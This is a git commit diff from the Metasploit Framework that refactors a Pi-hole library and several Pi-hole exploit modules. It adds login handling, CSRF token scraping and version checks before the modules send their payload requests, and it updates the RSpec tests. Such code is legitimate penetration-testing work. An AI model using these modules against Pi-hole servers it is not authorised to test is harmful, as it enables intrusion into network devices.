pihole new module and lib

This commit is contained in:
h00die 2022-01-02 11:48:41 -05:00
parent c3e0f455ec
commit 990e4a1e7a
6 changed files with 138 additions and 63 deletions

View File

@ -27,8 +27,7 @@ module Msf
'method' => 'GET',
'keep_cookies' => 'true'
)
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
return nil if res.nil? || res.code != 200
# Verified against:
# (current) 5.7, 5.12.1, 5.9
@ -47,6 +46,7 @@ module Msf
# Performs a login to pihole
#
# @param pass [String] Password
# @return [String,nil] cookie if login was successful, nil otherwise
def login(password)
vprint_status('Attempting login.')
@ -61,10 +61,12 @@ module Msf
'method' => 'POST',
'keep_cookies' => 'true'
)
if res && res.body.include?('Sign in to start your session')
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password')
if res && res.code == 200 && res.body.exclude?('Sign in to start your session')
return res.get_cookies
end
res.get_cookies
vprint_error('Incorrect Password')
nil
end
# Performs a gravity update
@ -77,6 +79,30 @@ module Msf
'keep_cookies' => 'true'
)
end
# Attempts to retrieve a CSRF token from the tab.
#
# @param tab [String] Which tab to load on the admin/settings page
# @return [String,nil] String of the token, nil otherwise
def get_token(tab)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'tab' => tab
},
'keep_cookies' => 'true'
)
return nil unless res or res.code == 200
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
# from version 3.3 <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
if (%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body ||
%r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body)
return token
end
nil
end
end
end
end

View File

@ -56,6 +56,8 @@ class MetasploitModule < Msf::Auxiliary
def check
begin
_version, web_version, _ftl = get_versions
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if web_version.nil?
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('5.6')
vprint_good("Web Interface Version Detected: #{web_version}")
return Exploit::CheckCode::Appears
@ -82,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
# get token
# check if we need a login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
@ -93,21 +95,16 @@ class MetasploitModule < Msf::Auxiliary
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login
cookie = login
fail_with(Failure::BadConfig, 'Incorrect Password') if cookie.nil?
end
if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
end
token = get_token('api')
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
unless token
if token.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
vprint_status("Using token: #{token}")
print_status("Using token: #{token}")
print_status('Sending payload request')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),

View File

@ -39,6 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'Platform' => ['php'],
'Privileged' => true,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
@ -93,6 +94,8 @@ class MetasploitModule < Msf::Exploit::Remote
def check
begin
version, _web_version, _ftl = get_versions
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if version.nil?
if version && Rex::Version.new(version) <= Rex::Version.new('4.4')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
@ -165,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Remote
'keep_cookies' => 'true'
)
# get token
# check if we need to login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'keep_cookies' => 'true',
@ -177,17 +180,12 @@ class MetasploitModule < Msf::Exploit::Remote
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login
fail_with(Failure::BadConfig, 'Incorrect Password') if res.nil?
end
if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
end
token = get_token('blocklists')
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
unless token
if token.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")

View File

@ -62,6 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
begin
_version, web_version, _ftl = get_versions
fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response or non-200 HTTP code") if web_version.nil?
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
vprint_good("Web Interface Version Detected: #{web_version}")
return CheckCode::Appears
@ -112,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
'keep_cookies' => 'true'
)
# get token
# check login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'keep_cookies' => 'true',
@ -124,24 +125,12 @@ class MetasploitModule < Msf::Exploit::Remote
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
cookie = login
# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'tab' => 'piholedhcp'
}
)
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if cookie.nil?
end
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
if res
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body
end
token = get_token('piholedhcp')
unless token
if token.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")

View File

@ -64,25 +64,22 @@ class MetasploitModule < Msf::Exploit::Remote
# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
cookie = login
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
'keep_cookies' => 'true',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_get' => {
'l' => 'white'
}
)
# res = send_request_cgi(
# 'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
# 'keep_cookies' => 'true',
# 'ctype' => 'application/x-www-form-urlencoded',
# 'cookie' => cookie,
# 'vars_get' => {
# 'l' => 'white'
# }
# )
end
# <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
# may also include /
%r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body
token = get_token('api')
unless token
if token.nil?
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")
send_request_cgi({

View File

@ -21,17 +21,29 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
200
end
let(:tab) do
'api'
end
let(:token_no_slash) do
't51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk='
end
let(:token_slash) do
't5/q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk='
end
describe '#pihole_versions' do
it 'raises error if page can not be reached' do
it 'returns nil if page can not be reached' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response::E404.new
res
end
expect(subject.get_versions).to raise_error(RuntimeError)
expect(subject.get_versions).to be_nil
end
it 'returns nil,nil,nil when page can be reached but isn\'t a Pihole' do
it 'returns [nil,nil,nil] when page can be reached but isn\'t a Pihole' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
@ -126,16 +138,16 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
end
describe '#pihole_logins' do
it 'raises error if page can not be reached' do
it 'returns nil if page can not be reached' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response::E404.new
res
end
expect(subject.login(valid_password)).to raise_error(RuntimeError)
expect(subject.login(valid_password)).to be_nil
end
it 'raises error on bad login' do
it 'returns nil on bad login' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
@ -143,18 +155,74 @@ RSpec.describe Msf::Exploit::Remote::HTTP::Pihole do
res
end
expect(subject.login(valid_password)).to raise_error(RuntimeError)
expect(subject.login(valid_password)).to be_nil
end
it 'returns cookie on good login' do
it 'returns cookie on valid login' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.headers['Set-Cookie'] = "#{valid_cookie};"
res.body = 'page'
res
end
expect(subject.login(valid_password)).to include(valid_cookie)
end
end
describe '#pihole_get_token' do
it 'returns nil if page can not be reached' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response::E404.new
res
end
expect(subject.get_token(:tab)).to be_nil
end
it 'returns nil when no token' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = 'Sign in to start your session'
res
end
expect(subject.get_token(:tab)).to be_nil
end
it 'returns token without slashes' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = '<input type="hidden" name="token" value="token_no_slash">'
res
end
expect(subject.get_token(:tab)).to include(:token_no_slash.to_s)
end
it 'returns token with slashes' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = '<input type="hidden" name="token" value="token_slash">'
res
end
expect(subject.get_token(:tab)).to include(:token_slash.to_s)
end
it 'returns token with slashes 3.3 format' do
allow(subject).to receive(:send_request_cgi) do
res = Rex::Proto::Http::Response.new
res.code = valid_code
res.body = '<div id="token" hidden>token_no_slash</div>'
res
end
expect(subject.get_token(:tab)).to include(:token_no_slash.to_s)
end
end
end